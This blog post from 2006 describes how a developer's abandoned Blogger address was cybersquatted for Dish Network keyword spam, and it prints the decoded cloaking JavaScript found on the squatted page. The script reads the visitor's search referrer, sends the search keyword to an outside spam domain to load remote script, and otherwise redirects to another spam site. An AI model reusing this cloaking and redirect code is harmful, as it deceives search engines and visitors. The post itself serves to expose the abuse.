I've been squatted!

Cybersquatting is a nasty thing, and yet it continues with no effort to stop it. The spammer grabs a domain name they think someone else will want, sets up a linkfarm, and hopes to sell the domain at a crazy price. It must be getting hard out there for a spammer, they now resort to typo's (foottv.com), and to jumping on recently abandon blogs (scoregasm.blogspot.com).

That used to be the location of my blogger blog, before I started ViNull. A few weeks ago, I decided it was time to pull the plug and delete the old blog, mostly because it was still getting ranked in the search engines. I had setup a redirect, hoping that over time the search engines would pick up the new blog, but the technology must not be there yet. Once the name was available, a spammer for Dish Network snapped it up and kept "mike neel" as a keyword (as of this writing, it's #2 on Google).

"Wait," you say. "I visited the page and there is no Dish Network spam there." View the source, Luke. What you see and what Google sees are two very different pages. The page you see is generated by the first line of script, encoded to "\u003c\u0073\u0063\u0072\u0069...". Google can't make any sense of that, but does see the text it hides; the pages and pages of keyword spam linking to dish network. Did dish do this directly? Probably not. Just like companies hire illegal immigrants for construction, dish hires spammers. It works like this: dish hires one firm, who contracts another, who contracts yet another, who hires independent contractors, who then hires the spammer to do the work. Because there are no laws to require it, dish is not required to report or track who actually did the work or what they did.

Why does this work? Well, it doesn't - at least not very long. Once Google gets wind of what's going on (and they improve the filters every day) the site gets marked as "evil" and ignored. The hope for the spammer is my blog used to be a "good" netcitizen, spam and linkfarm free, so it will take Google a while to undo the "good" rating before marking it "evil."

I don't think they counted on me reporting the site to Blogger for a TOS violation...

Update: After posting this and checking the links, I noticed that going to the old blog directly will get you redirected to another spam website (ironically using Google AdSense). Google for site:scoregasm.blogspot.com will give you a link to check out the site on blogger. The page also uses whatever you typed into google to generate the text you see.

Update 2: Yes, I have better things to do, and things I should be doing - but I'm patching VS2005 to SP1 and it's taking a while. So I decoded the "\u003c\u0073\u0063\u0072\u0069..." string, and got the following:

<script type="text/javascript">
if(document.referrer){

if(document.referrer.match("google\.*/search/?"))src="goo";
else if(document.referrer.match("search\.yahoo\.com/search"))src="yah";
else if(document.referrer.match("search\.msn\.com/results"))src="msn";
else if(document.referrer.match("search\.live\.com/results"))src="liv";
else if(document.referrer.match("ask\.com/web"))src="ask";
else src="other";

if(src!="other"){
if(src=="goo" || src=="msn" || src=="liv" || src=="ask")key=document.referrer.split("q=");
else if(src=="yah")key=document.referrer.split("p=");
key=key[1].split("&");
key=key[0].replace(/%22/g,"");
document.write("<script type='text/javascript' src='http://wellifuaskme.info/ref.php?src="+src+"&key="+escape(key)+"'><\/script>");
}else document.location.replace("http://iwantmo.info/");

}else document.location.replace("http://iwantmo.info/");
</script>

After searching WHOIS for the domain names in the above (and some other great ones linked to those, like dogcrap.info and pimpcars.info) I found that the real owners hide themselves behind RegisterFly's protection service. This service is supposed to help people avoid spam (or so they claim) but it really looks like it's sold to spammers to protect them. Servers are allowed no such protection, and neither are hosting companies. Spammer cybersquatting hosting courteously provided by LiquidWeb. LiquidWeb, who name their DNS servers dogcrap - what type of uptime guarantee do you get on dogcrap anyway?

Posted By Mike On Sunday, December 17, 2006
Filed under blog life | No Comments

Your name:

Your email (not shown):

Will display your Gravatar image.

Your website (optional):

About Me

Michael C. Neel, born 1976 in Houston, TX and now live in Knoxvile, TN. Software developer, currently .Net focused. Board member and President of ETNUG, and organizes CodeStock, East Tennessee's annual developers conference. .Net speaker, a Microsoft ASP.NET MVP and ASPInsider. Founder of FuncWorks, LLC and Feel The Func podcast.

Proud father of two amazing girls, Rachel and Hannah.

Subscribe to ViNull.com | Comments